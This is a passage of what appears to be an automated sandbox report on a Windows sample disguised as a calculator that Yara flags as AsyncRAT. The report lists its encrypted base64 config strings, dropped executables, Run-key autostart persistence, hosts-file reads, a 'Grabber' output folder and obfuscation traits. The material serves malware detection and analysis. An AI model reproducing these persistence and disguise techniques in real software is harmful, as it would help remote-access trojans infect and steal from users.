'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
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Settings.cs	Base64 encoded string: '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

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5408:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_6SI8OkPnk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2088:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\wwst.exe

File written: C:\Users\user\AppData\Local\7d8c2d0276fdcfef0891ca2c2e90fd37\user@114127_en-US\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: 3ZCSmfAvnf.exe, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3ZCSmfAvnf.exe, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: WindowsDataC.exe.0.dr, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: WindowsDataC.exe.0.dr, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: wwst.exe.0.dr, Client/Modules/StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'
Source: wwst.exe.0.dr, Client/Modules/Implant/StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Modules/Implant/StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Modules/StringsCrypt.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wwst.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 3ZCSmfAvnf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 3ZCSmfAvnf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Data Obfuscation

.NET source code contains potential unpacker

Source: wwst.exe.0.dr, Client/Handle_Packet/Packet.cs	.Net Code: Invoke System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 3.0.wwst.exe.6d0000.0.unpack, Client/Handle_Packet/Packet.cs	.Net Code: Invoke System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

.NET source code contains method to dynamically call methods (often used by packers)

Source: 3ZCSmfAvnf.exe, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: WindowsDataC.exe.0.dr, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_014B1848 push ecx; iretd	2_2_014B184D
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_014B36FA push eax; ret	2_2_014B36FB
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_02F550EB push edi; retf	2_2_02F550EC
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_05534883 push 000000C3h; ret	2_2_05534893
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07521093 push esp; retf	2_2_07521099
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Code function: 2_2_07521090 pushad ; retf	2_2_07521091

Source: initial sample	Static PE information: section name: .text entropy: 7.50296413464638
Source: initial sample	Static PE information: section name: .text entropy: 7.50296413464638

Source: 3ZCSmfAvnf.exe, mini_calculator/Form1.cs	High entropy of concatenated method names: '.ctor', 'Main', 'BbSU2Nrk7', 'VphgfCckr', 'jUhOPKLn6', 'oZfEB3kjR', 'Iyex6WlRZ', 'RjclH5Nch', 'Easys', 'Change'
Source: 3ZCSmfAvnf.exe, mini_calculator/Form3.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'xitYIop983', 'ybVq3DlNW6', 'yk5qYZF9Bk', 'AHGqp82cyV', 'V4VqKaQRUP', 'BbSrO2Nrk7', 'VphrEfCckr', 'Rq2qbLC3hM'
Source: 3ZCSmfAvnf.exe, mini_calculator/Form2.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'Rq2YpLC3hM', 'BbSrO2Nrk7', 'VphrEfCckr', 'jUhrxPKLn6', 'oZfrlB3kjR', 'IyerZ6WlRZ', 'RjcrXH5Nch', 'VyLr7ywk7D'
Source: 3ZCSmfAvnf.exe, EcFrDwDJfdr1CeUCm0/psXtAA4BWKQKf8rX5I.cs	High entropy of concatenated method names: '.cctor', 'KIiYQKuJN', 'fgDkb1YD7', 'EO5qZtxCe', 'qPp417GCQ', 'swavpsG13', 'dA0nRKOyEgSVuQP2Xe', 'coXTWBHiSkKhnQlwZR', 'oA0IK5kcJpQ9RMXxG6'
Source: 3ZCSmfAvnf.exe, aHKRoRBym5KBA6g2GD/C0gqGPRCeWjtV7bO8F.cs	High entropy of concatenated method names: 'JLfk5WEZeD', 'pvokRjoHic', 'SbvkBeG7xt', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'VDm1ivnXVGNoUjTEXm', 'LONpgrKoEiPJjIga6M', 'jNwbf0fpCOV8pdiaop', 'uJElFheg4fUABV0ExV'
Source: 3ZCSmfAvnf.exe, Ukr2Uh9PKLn6mZfB3k/YLCbWbTS2Nrk7cphfC.cs	High entropy of concatenated method names: 'Y4qax9ffMVsyy', '.ctor', '.cctor', 'cVAfju4eRfY3G6T0FWN', 'A1WdS044lwWSwrmFwJX', 's5FJQw4ElZSQ8BBZo2A', 'Hk2wU441LluharcxWmu', 'o5NU5i45SGDMIIur7WY', 'D8amUT4oxO4ww3UBllG', 'zQ0fnc4wd57qRKLlgNa'
Source: 3ZCSmfAvnf.exe, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	High entropy of concatenated method names: '.cctor', 'XlQax9fGj6aYQ', 'GR2MsR3Wkc', 'fMdM5cI7SB', 'pHFMRfIxs0', 'gfDMBkPTLx', 'aYGM1TKbTq', 'EkeMtGAV3h', 'yLiMCCCDDM', 'nS8MjHnNU4'
Source: WindowsDataC.exe.0.dr, mini_calculator/Form1.cs	High entropy of concatenated method names: '.ctor', 'Main', 'BbSU2Nrk7', 'VphgfCckr', 'jUhOPKLn6', 'oZfEB3kjR', 'Iyex6WlRZ', 'RjclH5Nch', 'Easys', 'Change'
Source: WindowsDataC.exe.0.dr, mini_calculator/Form3.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'xitYIop983', 'ybVq3DlNW6', 'yk5qYZF9Bk', 'AHGqp82cyV', 'V4VqKaQRUP', 'BbSrO2Nrk7', 'VphrEfCckr', 'Rq2qbLC3hM'
Source: WindowsDataC.exe.0.dr, mini_calculator/Form2.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'Rq2YpLC3hM', 'BbSrO2Nrk7', 'VphrEfCckr', 'jUhrxPKLn6', 'oZfrlB3kjR', 'IyerZ6WlRZ', 'RjcrXH5Nch', 'VyLr7ywk7D'
Source: WindowsDataC.exe.0.dr, EcFrDwDJfdr1CeUCm0/psXtAA4BWKQKf8rX5I.cs	High entropy of concatenated method names: '.cctor', 'KIiYQKuJN', 'fgDkb1YD7', 'EO5qZtxCe', 'qPp417GCQ', 'swavpsG13', 'dA0nRKOyEgSVuQP2Xe', 'coXTWBHiSkKhnQlwZR', 'oA0IK5kcJpQ9RMXxG6'
Source: WindowsDataC.exe.0.dr, aHKRoRBym5KBA6g2GD/C0gqGPRCeWjtV7bO8F.cs	High entropy of concatenated method names: 'JLfk5WEZeD', 'pvokRjoHic', 'SbvkBeG7xt', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'VDm1ivnXVGNoUjTEXm', 'LONpgrKoEiPJjIga6M', 'jNwbf0fpCOV8pdiaop', 'uJElFheg4fUABV0ExV'
Source: WindowsDataC.exe.0.dr, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	High entropy of concatenated method names: '.cctor', 'XlQax9fGj6aYQ', 'GR2MsR3Wkc', 'fMdM5cI7SB', 'pHFMRfIxs0', 'gfDMBkPTLx', 'aYGM1TKbTq', 'EkeMtGAV3h', 'yLiMCCCDDM', 'nS8MjHnNU4'
Source: WindowsDataC.exe.0.dr, Ukr2Uh9PKLn6mZfB3k/YLCbWbTS2Nrk7cphfC.cs	High entropy of concatenated method names: 'Y4qax9ffMVsyy', '.ctor', '.cctor', 'cVAfju4eRfY3G6T0FWN', 'A1WdS044lwWSwrmFwJX', 's5FJQw4ElZSQ8BBZo2A', 'Hk2wU441LluharcxWmu', 'o5NU5i45SGDMIIur7WY', 'D8amUT4oxO4ww3UBllG', 'zQ0fnc4wd57qRKLlgNa'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, mini_calculator/Form1.cs	High entropy of concatenated method names: '.ctor', 'Main', 'BbSU2Nrk7', 'VphgfCckr', 'jUhOPKLn6', 'oZfEB3kjR', 'Iyex6WlRZ', 'RjclH5Nch', 'Easys', 'Change'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, mini_calculator/Form3.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'xitYIop983', 'ybVq3DlNW6', 'yk5qYZF9Bk', 'AHGqp82cyV', 'V4VqKaQRUP', 'BbSrO2Nrk7', 'VphrEfCckr', 'Rq2qbLC3hM'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, mini_calculator/Form2.cs	High entropy of concatenated method names: '.ctor', 'Dispose', 'Rq2YpLC3hM', 'BbSrO2Nrk7', 'VphrEfCckr', 'jUhrxPKLn6', 'oZfrlB3kjR', 'IyerZ6WlRZ', 'RjcrXH5Nch', 'VyLr7ywk7D'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, EcFrDwDJfdr1CeUCm0/psXtAA4BWKQKf8rX5I.cs	High entropy of concatenated method names: '.cctor', 'KIiYQKuJN', 'fgDkb1YD7', 'EO5qZtxCe', 'qPp417GCQ', 'swavpsG13', 'dA0nRKOyEgSVuQP2Xe', 'coXTWBHiSkKhnQlwZR', 'oA0IK5kcJpQ9RMXxG6'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, aHKRoRBym5KBA6g2GD/C0gqGPRCeWjtV7bO8F.cs	High entropy of concatenated method names: 'JLfk5WEZeD', 'pvokRjoHic', 'SbvkBeG7xt', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'VDm1ivnXVGNoUjTEXm', 'LONpgrKoEiPJjIga6M', 'jNwbf0fpCOV8pdiaop', 'uJElFheg4fUABV0ExV'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, VJJG3LfjDyGQMbKXvN/rIyLywFk7Dkt8rKUfp.cs	High entropy of concatenated method names: '.cctor', 'XlQax9fGj6aYQ', 'GR2MsR3Wkc', 'fMdM5cI7SB', 'pHFMRfIxs0', 'gfDMBkPTLx', 'aYGM1TKbTq', 'EkeMtGAV3h', 'yLiMCCCDDM', 'nS8MjHnNU4'
Source: 0.0.3ZCSmfAvnf.exe.720000.0.unpack, Ukr2Uh9PKLn6mZfB3k/YLCbWbTS2Nrk7cphfC.cs	High entropy of concatenated method names: 'Y4qax9ffMVsyy', '.ctor', '.cctor', 'cVAfju4eRfY3G6T0FWN', 'A1WdS044lwWSwrmFwJX', 's5FJQw4ElZSQ8BBZo2A', 'Hk2wU441LluharcxWmu', 'o5NU5i45SGDMIIur7WY', 'D8amUT4oxO4ww3UBllG', 'zQ0fnc4wd57qRKLlgNa'

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe

File created: C:\ProgramData\WindowsDataC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	File created: C:\Users\user\AppData\Local\Temp\Rnts.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	File created: C:\Users\user\AppData\Local\Temp\wwst.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	File created: C:\ProgramData\WindowsDataC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	File created: C:\Users\user\AppData\Local\Temp\RunIt.exe	Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.WindowsDataC.exe.12fb33c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.3ZCSmfAvnf.exe.12a775e0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd984.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.WindowsDataC.exe.128dd1d0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.wwst.exe.6d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.312683100.00000000006D2000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.579900090.00000000126C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.573444310.0000000002A01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4CD000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.579905238.0000000012877000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.594217728.000000001B4C3000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.580547770.0000000012ABA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579786709.0000000012FDC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3ZCSmfAvnf.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wwst.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 1604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WindowsDataC.exe PID: 5964, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\wwst.exe, type: DROPPED

Creates multiple autostart registry keys

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WindowsDataC.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Rnts.exe			Jump to behavior

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WindowsDataC.exe	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run WindowsDataC.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Rnts.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RunIt.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Rnts.exe	Jump to behavior

Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\3ZCSmfAvnf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
